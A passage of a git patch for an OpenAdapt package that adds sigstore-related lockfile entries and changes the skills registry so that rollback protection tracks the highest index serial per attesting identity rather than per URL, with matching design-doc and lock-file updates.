upload-time = "2023-12-24T09:54:30.421Z" }, ] +[[package]] +name = "dnspython" +version = "2.8.0" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version < '3.11' and sys_platform == 'linux'", + "python_full_version < '3.11' and sys_platform != 'linux'", +] +sdist = { url = "https://files.pythonhosted.org/packages/8c/8b/57666417c0f90f08bcafa776861060426765fdb422eb10212086fb811d26/dnspython-2.8.0.tar.gz", hash = "sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f", size = 368251, upload-time = "2025-09-07T18:58:00.022Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ba/5a/18ad964b0086c6e62e2e7500f7edc89e3faa45033c71c1893d34eed2b2de/dnspython-2.8.0-py3-none-any.whl", hash = "sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af", size = 331094, upload-time = "2025-09-07T18:57:58.071Z" }, +] + +[[package]] +name = "dnspython" +version = "2.9.0" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.12' and sys_platform == 'linux'", + "python_full_version >= '3.12' and sys_platform != 'linux'", + "python_full_version == '3.11.*' and sys_platform == 'linux'", + "python_full_version == '3.11.*' and sys_platform != 'linux'", +] +sdist = { url = "https://files.pythonhosted.org/packages/ef/4a/50822184bd67cc6493f0fb6a880749158fcd31ab3fa07409acfd91f9fc85/dnspython-2.9.0.tar.gz", hash = "sha256:b44dc6b18f07a8b1c56676a19fbfdb5209415b046a9cece286baafa87ff3f7f1", size = 423560, upload-time = "2026-10-09T00:07:24.352Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/02/cdcc9b7c051786a103c3b09e1003a82fa0c66bcb91ffbdabcfbf7b4163b9/dnspython-2.9.0-py3-none-any.whl", hash = "sha256:9a4aedb833c3c1b49214d04d44d3032ab7a9135f7c1d29a549b4ff78fd82fda9", size = 354822, upload-time = "2026-10-09T00:07:22.622Z" }, +] + [[package]] name = "docstring-parser" version = "0.18.0" @@ -693,6 +721,20 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/a7/5f/ed01f9a3cdffbd5a008556fc7b2a08ddb1cc6ace7effa7340604b1d16699/docstring_parser-0.18.0-py3-none-any.whl", hash = "sha256:b3fcbed555c47d8479be0796ef7e19c2670d428d72e96da63f3a40122860374b", size = 22484, upload-time = "2026-04-14T04:09:18.638Z" }, ] +[[package]] +name = "email-validator" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "dnspython", version = "2.8.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "dnspython", version = "2.9.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f5/22/900cb125c76b7aaa450ce02fd727f452243f2e91a61af068b40adba60ea9/email_validator-2.3.0.tar.gz", hash = "sha256:9fc05c37f2f6cf439ff414f8fc46d917929974a82244c20eb10231ba60c54426", size = 51238, upload-time = "2025-08-26T13:09:06.831Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/15/545e2b6cf2e3be84bc1ed85613edd75b8aea69807a71c26f4ca6a9258e82/email_validator-2.3.0-py3-none-any.whl", hash = "sha256:80f13f623413e6b197ae73bb10bf4eb0908faf509ad8362c5edeb0be7fd450b4", size = 35604, upload-time = "2025-08-26T13:09:05.858Z" }, +] + [[package]] name = "exceptiongroup" version = "1.3.1" @@ -1075,6 +1117,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/3b/d3/02499badc6e3f3e980941021edf5fd780c895d8d08c9015e78516340ed83/hypothesis-6.156.6-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:983a5cfd955994bffc7eb02976241f7a1f3c2d94dbc3389430c45858fa5c1ae0", size = 640823, upload-time = "2026-07-10T20:55:45.461Z" }, ] +[[package]] +name = "id" +version = "1.6.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/6d/04/c2156091427636080787aac190019dc64096e56a23b7364d3c1764ee3a06/id-1.6.1.tar.gz", hash = "sha256:d0732d624fb46fd4e7bc4e5152f00214450953b9e772c182c1c22964def1a069", size = 18088, upload-time = "2026-02-04T16:19:41.26Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/42/77/de194443bf38daed9452139e960c632b0ef9f9a5dd9ce605fdf18ca9f1b1/id-1.6.1-py3-none-any.whl", hash = "sha256:f5ec41ed2629a508f5d0988eda142e190c9c6da971100612c4de9ad9f9b237ca", size = 14689, upload-time = "2026-02-04T16:19:40.051Z" }, +] + [[package]] name = "idna" version = "3.18" @@ -1109,6 +1163,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/38/3d/2d244233ac4f76e38533cfcb2991c9eb4c7bf688ae0a036d30725b8faafe/importlib_metadata-9.0.0-py3-none-any.whl", hash = "sha256:2d21d1cc5a017bd0559e36150c21c830ab1dc304dedd1b7ea85d20f45ef3edd7", size = 27789, upload-time = "2026-03-20T06:42:55.665Z" }, ] +[[package]] +name = "importlib-resources" +version = "5.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a5/f1/8711c49ffd121083007a24c1bff0d324c9ff621d4fdf8b4ffcb8d9e60330/importlib_resources-5.13.0.tar.gz", hash = "sha256:82d5c6cca930697dbbd86c93333bb2c2e72861d4789a11c2662b933e5ad2b528", size = 36550, upload-time = "2023-07-07T16:21:00.171Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7a/68/bd9dd6bbf06772c7accce77d0354d783333fbe712a60b08fc13540c05422/importlib_resources-5.13.0-py3-none-any.whl", hash = "sha256:9f7bd0c97b79972a6cce36a366356d16d5e13b09679c11a58f1014bfdf8e64b2", size = 32912, upload-time = "2023-07-07T16:20:58.128Z" }, +] + [[package]] name = "iniconfig" version = "2.3.0" @@ -2019,6 +2082,7 @@ dev = [ { name = "requests" }, { name = "ruff" }, { name = "scikit-image" }, + { name = "sigstore" }, { name = "uvicorn" }, ] execute = [ @@ -2069,6 +2133,9 @@ privacy = [ rdp = [ { name = "aardwolf" }, ] +registry = [ + { name = "sigstore" }, +] reward = [ { name = "fastapi" }, { name = "uvicorn" }, @@ -2147,6 +2214,8 @@ requires-dist = [ { name = "requests", marker = "extra == 'windows'", specifier = ">=2.31" }, { name = "ruff", marker = "extra == 'dev'", specifier = "==0.17.0" }, { name = "scikit-image", marker = "extra == 'dev'", specifier = ">=0.22" }, + { name = "sigstore", marker = "extra == 'dev'", specifier = ">=4.5,<5" }, + { name = "sigstore", marker = "extra == 'registry'", specifier = ">=4.5,<5" }, { name = "tomli", marker = "python_full_version < '3.11'", specifier = ">=2.0" }, { name = "transformers", marker = "extra == 'service-mlx'", specifier = ">=5.14,<5.18" }, { name = "uvicorn", marker = "extra == 'console'", specifier = ">=0.29" }, @@ -2163,7 +2232,7 @@ requires-dist = [ { name = "winrt-windows-media-ocr", marker = "sys_platform == 'win32' and extra == 'native-ocr'", specifier = ">=2.0" }, { name = "winrt-windows-storage-streams", marker = "sys_platform == 'win32' and extra == 'native-ocr'", specifier = ">=2.0" }, ] -provides-extras = ["native-ocr", "browser", "dev", "grounder", "grounding", "console", "countersign", "keychain", "pkcs11", "execute", "windows", "reward", "harness2", "macos", "linux", "rdp", "privacy", "hosted", "service", "service-mlx", "capture", "interop", "agent"] +provides-extras = ["native-ocr", "browser", "dev", "grounder", "grounding", "console", "countersign", "keychain", "pkcs11", "execute", "windows", "reward", "harness2", "macos", "linux", "rdp", "registry", "privacy", "hosted", "service", "service-mlx", "capture", "interop", "agent"] [[package]] name = "openadapt-grounding" @@ -2350,6 +2419,34 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/62/36/a3aed958d60531cb442b7ab4596cda7b3621cfb916f8ae1d6769795c7dc1/pip-26.2-py3-none-any.whl", hash = "sha256:931c303696af6fa3417112103b1cad26890e5a07eccb5b99783700e33f2b8aad", size = 1816475, upload-time = "2026-07-29T21:57:54.763Z" }, ] +[[package]] +name = "platformdirs" +version = "4.12.4" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version < '3.11' and sys_platform == 'linux'", + "python_full_version < '3.11' and sys_platform != 'linux'", +] +sdist = { url = "https://files.pythonhosted.org/packages/90/a1/d5f9002a70298c64a789779077d8dd90c10aa1f47fe40c86802df874f2a6/platformdirs-4.12.4.tar.gz", hash = "sha256:63743c02414e755de4e31b8f68125c1407495b86c5a006e203c01ff8b9924250", size = 60010, upload-time = "2026-10-07T23:30:32.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/ba/223e00b885e960edd5d4b4d178c88acce019bd5b83786093681b8c393492/platformdirs-4.12.4-py3-none-any.whl", hash = "sha256:78bfb9db2a8471ed7eebe3c3c932da413911042994e699b384fbb4493fa872d7", size = 32596, upload-time = "2026-10-07T23:30:30.825Z" }, +] + +[[package]] +name = "platformdirs" +version = "4.14.0" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.12' and sys_platform == 'linux'", + "python_full_version >= '3.12' and sys_platform != 'linux'", + "python_full_version == '3.11.*' and sys_platform == 'linux'", + "python_full_version == '3.11.*' and sys_platform != 'linux'", +] +sdist = { url = "https://files.pythonhosted.org/packages/40/28/1c058a9143d2304b3078f8dadcbb9dc27f7d3581b5d05157c84869c4cc0d/platformdirs-4.14.0.tar.gz", hash = "sha256:83f009c1e8c5fc36869b5171755b291887bd2cade7965233cdfabd23d754720b", size = 70387, upload-time = "2026-10-28T18:27:30.973Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/69/2b/887969ef4bb53e0cb271dc7c3f4a73d50c5d58bb88aeaae311e3340cd57e/platformdirs-4.14.0-py3-none-any.whl", hash = "sha256:1dadfc59a8a5d7565b3d9270ae8fa71c065595352c4277b41c11ee6c222c4b91", size = 35259, upload-time = "2026-10-28T18:27:29.659Z" }, +] + [[package]] name = "playwright" version = "1.61.0" @@ -2576,6 +2673,11 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = 472262, upload-time = "2026-05-06T13:43:02.641Z" }, ] +[package.optional-dependencies] +email = [ + { name = "email-validator" }, +] + [[package]] name = "pydantic-core" version = "2.46.4" @@ -3186,6 +3288,38 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/3b/5d/63d4ae3b9daea098d5d6f5da83984853c1bbacd5dc826764b249fe119d24/requests_oauthlib-2.0.0-py2.py3-none-any.whl", hash = "sha256:7dd8a5c40426b779b0868c404bdef9768deccf22749cde15852df527e6269b36", size = 24179, upload-time = "2024-03-22T20:32:28.055Z" }, ] +[[package]] +name = "rfc3161-client" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/56/53/e2f526fb6957023180c928448e2dd71b03b35038c315aed2d12d9a77c3af/rfc3161_client-1.0.9.tar.gz", hash = "sha256:66997415086d2c6e5d57a2d315157b32a9c3f4f1312877ca8eb55e2e0ddf8ce4", size = 112825, upload-time = "2026-09-14T19:32:29.113Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/92/2c/b81b822bc067647aa291dc4ea71f052f994344934fc84d499759aec64cf8/rfc3161_client-1.0.9-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:5e619d7e28ffa3a46685923e6d6ba4ce2e74cb09a41c77995a0702cc1a533bc4", size = 2109721, upload-time = "2026-09-14T19:32:08.154Z" }, + { url = "https://files.pythonhosted.org/packages/88/cf/bcfb66eaeccdc076457451a6213360c840bcacd0e938e8507951be29373f/rfc3161_client-1.0.9-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:a7004edfbf1bb7ec7801978a39fa7a7fe385ca59673df90d7578079b6eba3b24", size = 2439706, upload-time = "2026-09-14T19:32:10.339Z" }, + { url = "https://files.pythonhosted.org/packages/8e/f3/4b69d47fd7f79238bf8db20902a30d28c908efc0d906fb57abcc89ac75e3/rfc3161_client-1.0.9-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7b703b233dbee7228d117d5f1c118363c61d523fa6f018c9217c79e3c6684f86", size = 2651455, upload-time = "2026-09-14T19:32:12.025Z" }, + { url = "https://files.pythonhosted.org/packages/33/49/154c3e80ac94e51b9d1097dab15b95f44aa593c395bd41775e4486a7d0a0/rfc3161_client-1.0.9-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d3cbf1991b6f3457efcb25e1d31179cac556112e6d3e65ec9e0fd70c6e9af90d", size = 2051342, upload-time = "2026-09-14T19:32:13.631Z" }, + { url = "https://files.pythonhosted.org/packages/c8/57/79bf6a67cd4ca729b0b74e6fa79ebef84e6bc8657b85772df01a7d3b7b89/rfc3161_client-1.0.9-cp39-abi3-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:614da494c6f8850c5d6d98c23bc291a4e4dbf2c3c9082d9907fa156f9e4a75c6", size = 2418228, upload-time = "2026-09-14T19:32:15.451Z" }, + { url = "https://files.pythonhosted.org/packages/11/ae/19139fee184916065705d660bad203b676dc40b449afff36f79818c59c4f/rfc3161_client-1.0.9-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fac3f440a507555e684dc5daba75e33dc08f0f45fdefa48448f19001233a6b21", size = 2415566, upload-time = "2026-09-14T19:32:17.185Z" }, + { url = "https://files.pythonhosted.org/packages/6e/54/43f89c8e004baade51943261b29f9dd866df3383f4554d5797a2568c2855/rfc3161_client-1.0.9-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0ac247d5aa22f3514d1e284bdc547d2ad5f101e1e5d7f6db25db2ab3a0c59f06", size = 2995975, upload-time = "2026-09-14T19:32:19.007Z" }, + { url = "https://files.pythonhosted.org/packages/2b/b2/938e4df767a2ea6fae2bc8e8e0df52e1d70a32a082a13bdfdd6fac59dc32/rfc3161_client-1.0.9-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:03be7ac7919c7f4c566076b07773b81b1f1b28d447fa91c6960fb5f82fac5bc1", size = 2358728, upload-time = "2026-09-14T19:32:20.644Z" }, + { url = "https://files.pythonhosted.org/packages/ff/54/f0193b27f1a635aa336d19b48c296f133719cafb87e950de6eae4638a046/rfc3161_client-1.0.9-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:8208999e94e1252e3f5f748f5efe59d3b9c308d04c7626be1becfbf3236c9de4", size = 2565766, upload-time = "2026-09-14T19:32:22.42Z" }, + { url = "https://files.pythonhosted.org/packages/15/41/6c48b05fc41a424ab3b0cb0515e77046707b498837411633fe7ce77812ee/rfc3161_client-1.0.9-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d4cf92f0e784ff02ff5ea1c574f8521f30953dc178092424126dbd8348034f93", size = 2643597, upload-time = "2026-09-14T19:32:24.134Z" }, + { url = "https://files.pythonhosted.org/packages/d2/18/fcb2f311b0b1754b0476165a4eae2929606007fc0ff0a575a65dbff2c0f6/rfc3161_client-1.0.9-cp39-abi3-win32.whl", hash = "sha256:4d33f5aaec2974239e1c62a79a6fcf32506b09095482377a8b5be3a00fa67dfb", size = 1996018, upload-time = "2026-09-14T19:32:25.972Z" }, + { url = "https://files.pythonhosted.org/packages/d2/a1/b71d9f2071660a914e039061d3cdcad77b1cbccf7276bff073f95e8b4d1a/rfc3161_client-1.0.9-cp39-abi3-win_amd64.whl", hash = "sha256:908f6a775da4bdce1d39f825a4431f389542696078ef3e4ed911a068bcaf1792", size = 2431351, upload-time = "2026-09-14T19:32:27.621Z" }, +] + +[[package]] +name = "rfc8785" +version = "0.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ef/2f/fa1d2e740c490191b572d33dbca5daa180cb423c24396b856f5886371d8b/rfc8785-0.1.4.tar.gz", hash = "sha256:e545841329fe0eee4f6a3b44e7034343100c12b4ec566dc06ca9735681deb4da", size = 14321, upload-time = "2024-09-27T16:33:31.206Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4d/78/119878110660b2ad709888c8a1614fce7e2fab39080ab960656dc8605bf6/rfc8785-0.1.4-py3-none-any.whl", hash = "sha256:520d690b448ecf0703691c76e1a34a24ddcd4fc5bc41d589cb7c58ec651bcd48", size = 9240, upload-time = "2024-09-27T16:33:29.683Z" }, +] + [[package]] name = "rich" version = "15.0.0" @@ -3396,6 +3530,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/b7/46/f5af3402b579fd5e11573ce652019a67074317e18c1935cc0b4ba9b35552/secretstorage-3.5.0-py3-none-any.whl", hash = "sha256:0ce65888c0725fcb2c5bc0fdb8e5438eece02c523557ea40ce0703c266248137", size = 15554, upload-time = "2025-11-23T19:02:51.545Z" }, ] +[[package]] +name = "securesystemslib" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6c/b7/68ce74b4c3ab753c2de907d035a4102b4510729393184af3c7bdfee04d18/securesystemslib-1.6.0.tar.gz", hash = "sha256:b16e07c32bb41174c2ee2fb18f478ebe0d52e0e7c1fb085ce89c990452a35977", size = 950902, upload-time = "2026-10-20T08:40:19.495Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/50/1e/56bf4531475c32a8503c040ab7f05c34430a0c6b5744bf6c373246dd3c97/securesystemslib-1.6.0-py3-none-any.whl", hash = "sha256:1c1aa00f058f4851f038d409c8ca4a727db854a91f07ec3a0fa047bb93e43e0e", size = 874777, upload-time = "2026-10-20T08:40:17.665Z" }, +] + [[package]] name = "sentencepiece" version = "0.2.2" @@ -3478,6 +3621,56 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/e0/f9/0595336914c5619e5f28a1fb793285925a8cd4b432c9da0a987836c7f822/shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686", size = 9755, upload-time = "2023-10-24T04:13:38.866Z" }, ] +[[package]] +name = "sigstore" +version = "4.5.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, + { name = "id" }, + { name = "importlib-resources", marker = "python_full_version < '3.11'" }, + { name = "platformdirs", version = "4.12.4", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "platformdirs", version = "4.14.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "pydantic" }, + { name = "pyjwt" }, + { name = "requests" }, + { name = "rfc3161-client" }, + { name = "rfc8785" }, + { name = "rich" }, + { name = "sigstore-models" }, + { name = "sigstore-rekor-types" }, + { name = "tuf" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bb/26/0561ddc1fcda5a12e577b4716f3e345905fc5e98978def96bc78e2d538ce/sigstore-4.5.1.tar.gz", hash = "sha256:14accda8a7d4ef47cb25b4903829fb10f011048c261a5937724a43d073c4f34d", size = 90964, upload-time = "2026-10-20T15:12:50.021Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e1/e7/23dc324a6a5f0c1d8da0dfd8f862b0e3ec88e0b1302fdffd34628cdd6bb2/sigstore-4.5.1-py3-none-any.whl", hash = "sha256:02e000197b34980f1d382741d6f83c2fecbcef7debf7304f36a5253f3c892cd9", size = 113192, upload-time = "2026-10-20T15:12:48.563Z" }, +] + +[[package]] +name = "sigstore-models" +version = "0.0.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c6/ed/5c0ff809f90b19f4e971e17c1ed11f4df60082c6010b32a82054087e91e0/sigstore_models-0.0.6.tar.gz", hash = "sha256:c766c09470c2a7e8a4a333c893f07e2001c56a3ff1757b1a246119f53169a849", size = 7037, upload-time = "2025-11-26T19:18:12.61Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/dc/7a19864a7bc9f43121ab459e12768ab0080590e3e1b60a29b2f2eb01fb85/sigstore_models-0.0.6-py3-none-any.whl", hash = "sha256:5201a68f4d7d0f8bec1e2f4378eb646b084c52609a4e31db8c385095fff68b2e", size = 13213, upload-time = "2025-11-26T19:18:11.365Z" }, +] + +[[package]] +name = "sigstore-rekor-types" +version = "0.0.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic", extra = ["email"] }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b4/54/102e772445c5e849b826fbdcd44eb9ad7b3d10fda17b08964658ec7027dc/sigstore_rekor_types-0.0.18.tar.gz", hash = "sha256:19aef25433218ebf9975a1e8b523cc84aaf3cd395ad39a30523b083ea7917ec5", size = 15687, upload-time = "2024-11-22T13:59:54.009Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/45/7c/f0b4e19fd424df4cc964f5d454e1d814fd2dc3b386342e6040441024318f/sigstore_rekor_types-0.0.18-py3-none-any.whl", hash = "sha256:b62bf38c5b1a62bc0d7fe0ee51a0709e49311d137c7880c329882a8f4b2d1d78", size = 20610, upload-time = "2024-11-22T13:59:52.684Z" }, +] + [[package]] name = "six" version = "1.17.0" @@ -3907,6 +4100,19 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/51/e9/3a7820be2bb0fe53b6bc9c3be26d3d1158004e4c3ab953aa6840b955b1e9/truststore-0.10.5-py3-none-any.whl", hash = "sha256:9aaaedaefaf06d8b206278cf8b5012bc897f485a874503501e12d776df78951c", size = 19017, upload-time = "2026-10-12T22:27:30.377Z" }, ] +[[package]] +name = "tuf" +version = "7.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "securesystemslib" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9c/dd/52e7390cbac308e6b1cfe6be9bc3a96fe26326d5893cc297a52bb72792a9/tuf-7.0.1.tar.gz", hash = "sha256:5ada1db78da3518fa851e28588f4b2249b8662a28ae528f54afa2a1de541fb31", size = 274148, upload-time = "2026-09-02T06:19:52.071Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a2/10/171e306e4a19ff980b9029ce5a523881e34bc6a2a52750fb1853f49f0fb9/tuf-7.0.1-py3-none-any.whl", hash = "sha256:d30434bda6e079ab303fb30d1b3006d939a10ca34783b1573d61cd9b802fa45c", size = 56253, upload-time = "2026-09-02T06:19:50.608Z" }, +] + [[package]] name = "typer" version = "0.26.8" From 3b1be7b3ba2c22fd23844c8d02e30b3838b25367 Mon Sep 17 00:00:00 2001 From: abrichr Date: Wed, 28 Oct 2026 20:32:21 -0400 Subject: [PATCH 6/8] registry: keep one rollback mark per attesting identity, at any address A mirror or a local copy of an older, still-unexpired release started with no mark and was accepted, including a version the newer release withdrew. The high-water serial is now keyed by the pinned identity (issuer, repository, SAN pattern). The lock records the index serial and issued_at, and skill status prints them. --- packages/flow/docs/design/SKILLS_REGISTRY.md | 10 +- packages/flow/openadapt_flow/registry.py | 58 +++++++---- packages/flow/openadapt_flow/skills.py | 15 ++- packages/flow/registry/README.md | 3 +- .../flow/tests/test_skills_registry_review.py | 95 +++++++++++++++++++ 5 files changed, 159 insertions(+), 22 deletions(-) diff --git a/packages/flow/docs/design/SKILLS_REGISTRY.md b/packages/flow/docs/design/SKILLS_REGISTRY.md index 1a8b9d362..26b2d9531 100644 --- a/packages/flow/docs/design/SKILLS_REGISTRY.md +++ b/packages/flow/docs/design/SKILLS_REGISTRY.md @@ -184,8 +184,14 @@ AGPL entry is published. error suggests either. - **Rollback and freeze.** The attested index carries `issued_at`, `expires_at` (30 days) and a `serial`. `pull` refuses an expired index and - a serial lower than the highest seen for that index - (`$OPENADAPT_HOME/registry-state.json`). + a serial lower than the highest seen from the same attesting identity + (issuer, repository and SAN pattern), at any address: the default URL, a + mirror and a file on disk share one mark + (`$OPENADAPT_HOME/registry-state.json`). The lock records the serial and + `issued_at`, and `skill status` prints them. A machine that has never + pulled has no mark, so on its first pull it accepts any unexpired index: + an attacker who controls that first read can serve a release up to 30 + days old. Expiry bounds that window; it is inherent to the design. - **Stripping the provenance.** `pull` records the program's steps digest in `$OPENADAPT_HOME/pulled.json`. A bundle without provenance whose steps match is refused until it carries a current certification on a named diff --git a/packages/flow/openadapt_flow/registry.py b/packages/flow/openadapt_flow/registry.py index c3c565d00..1f18c9a4b 100644 --- a/packages/flow/openadapt_flow/registry.py +++ b/packages/flow/openadapt_flow/registry.py @@ -26,7 +26,7 @@ workflow (:mod:`openadapt_flow.registry_attest`) naming its exact sha256, and every archive's. The attested index carries ``issued_at``, ``expires_at`` and a ``serial``: ``pull`` refuses an expired index and one whose serial is lower -than the highest it has seen for that index +than the highest it has seen from the same attesting identity, at any address (``$OPENADAPT_HOME/registry-state.json``). ``--allow-unsigned`` and ``--allow-test-key`` apply only to an index on the local disk. """ @@ -189,30 +189,39 @@ def _read_state() -> dict[str, Any]: return state if isinstance(state, dict) else {} -def _index_key(index_url: str) -> str: - if index_url.startswith("https://"): - return index_url - return str(Path(index_url).resolve()) +def identity_key(identity: Any, attested_by: Optional[str] = None) -> str: + """The high-water key for whoever attested an index, whatever its address. + Every genuine index comes from one release workflow on one serial + sequence, so the mark belongs to that identity (issuer, repository and + SAN pattern), not to the URL or path the copy was read from. A mirror or + a local copy of an older release is then held to the same mark. + """ + + if attested_by and attested_by.startswith("test:"): + return attested_by + return "|".join( + (identity.issuer, identity.source_repository_uri, identity.san.pattern) + ) -def serial_problem(index_url: str, serial: int) -> Optional[str]: - """Why ``serial`` is older than the newest this index has served, or None.""" - seen = (_read_state().get("serials") or {}).get(_index_key(index_url)) +def serial_problem(key: str, serial: int) -> Optional[str]: + """Why ``serial`` is older than the newest this identity has issued, or None.""" + + seen = (_read_state().get("serials") or {}).get(key) if isinstance(seen, int) and serial < seen: return ( f"the index's serial {serial} is older than {seen}, the newest seen " - "from it: a stale or rolled-back copy" + "from its publisher at any address: a stale or rolled-back copy" ) return None -def record_serial(index_url: str, serial: int) -> None: - """Keep the highest serial seen for this index.""" +def record_serial(key: str, serial: int) -> None: + """Keep the highest serial seen for this attesting identity.""" state = _read_state() serials = state.setdefault("serials", {}) - key = _index_key(index_url) if not isinstance(serials.get(key), int) or serial > serials[key]: serials[key] = serial path = _state_path() @@ -485,7 +494,8 @@ def pull( pinned release-workflow identity and name the exact sha256 of the index that was read; - the attested index must be unexpired, with a serial never lower than - the highest seen from it. + the highest seen from the same attesting identity, whether it was read + from the default address, a mirror or the local disk. An archive must be one the attestation names too. ``allow_unsigned`` takes an index with no attestation, and ``allow_test_key`` one attested by @@ -518,17 +528,19 @@ def pull( attestation = _read_attestation(index_url) attested_by: Optional[str] = None subjects: Optional[dict[str, str]] = None + serial_key: Optional[str] = None if attestation is None: if remote or not allow_unsigned: raise RegistryError( f"the index has no attestation ({registry_attest.ATTESTATION_NAME})" ) else: + pinned = identity or registry_attest.REGISTRY_IDENTITY try: attested_by, subjects = registry_attest.verify( attestation, allow_test_key=allow_test_key and not remote, - identity=identity or registry_attest.REGISTRY_IDENTITY, + identity=pinned, trusted_root=trusted_root, ) except registry_attest.AttestationError as exc: @@ -539,8 +551,9 @@ def pull( ): raise RegistryError("the attestation does not name this index") problem = index_freshness_problem(index_data, now=now) + serial_key = identity_key(pinned, attested_by) if problem is None: - problem = serial_problem(index_url, index_data["serial"]) + problem = serial_problem(serial_key, index_data["serial"]) if problem is not None: raise RegistryError(problem) dest = Path(out) if out else Path(entry.id.split("/", 1)[1]) @@ -587,15 +600,24 @@ def pull( # Mark it as pulled and expire any certification it carries: a # registry certification is about our test copy, never the user's. - mark_pulled(stage, entry, index_url=index_url, attested_by=attested_by) + mark_pulled( + stage, + entry, + index_url=index_url, + attested_by=attested_by, + index_serial=index_data.get("serial") if subjects is not None else None, + index_issued_at=( + index_data.get("issued_at") if subjects is not None else None + ), + ) if unpacked is not None and NOTICE_NAME in unpacked: (stage / NOTICE_NAME).write_bytes(unpacked[NOTICE_NAME]) if dest.exists(): shutil.rmtree(dest) dest.parent.mkdir(parents=True, exist_ok=True) shutil.copytree(stage, dest) - if subjects is not None: - record_serial(index_url, index_data["serial"]) + if serial_key is not None: + record_serial(serial_key, index_data["serial"]) return dest diff --git a/packages/flow/openadapt_flow/skills.py b/packages/flow/openadapt_flow/skills.py index 078ad457c..5371985fd 100644 --- a/packages/flow/openadapt_flow/skills.py +++ b/packages/flow/openadapt_flow/skills.py @@ -98,7 +98,13 @@ def read_binding(bundle_dir: Path | str) -> dict[str, str]: def mark_pulled( - bundle_dir: Path, entry: Any, *, index_url: str, attested_by: Optional[str] = None + bundle_dir: Path, + entry: Any, + *, + index_url: str, + attested_by: Optional[str] = None, + index_serial: Optional[int] = None, + index_issued_at: Optional[str] = None, ) -> None: """Write the lock and expire any certification the pulled bundle carries.""" @@ -131,6 +137,8 @@ def mark_pulled( "version": entry.version, "index": index_url, "signed_by": workflow.registry.signed_by, + "index_serial": index_serial, + "index_issued_at": index_issued_at, "app_license": raw.get("app_license"), "pulled_at": _now(), "files": entry.files, @@ -749,6 +757,11 @@ def cmd_skill(args: Any) -> int: print("TEST SIGNER: pulled from a local index with --allow-test-key") else: print(f"Attested by {signer}") + if lock.get("index_issued_at"): + print( + f"Index serial {lock.get('index_serial')}, issued " + f"{lock['index_issued_at']}" + ) missing = 